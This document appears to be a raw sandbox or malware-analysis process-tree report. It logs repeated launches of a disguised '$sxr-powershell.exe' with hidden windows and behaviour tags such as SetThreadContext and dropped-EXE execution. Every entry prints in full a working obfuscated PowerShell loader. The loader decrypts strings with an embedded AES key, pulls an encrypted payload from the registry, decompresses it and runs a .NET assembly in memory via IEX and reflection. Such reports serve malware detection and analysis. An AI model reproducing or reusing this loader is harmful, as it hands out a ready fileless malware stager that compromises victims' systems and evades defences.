'')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4724
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5032
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4564
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:3264
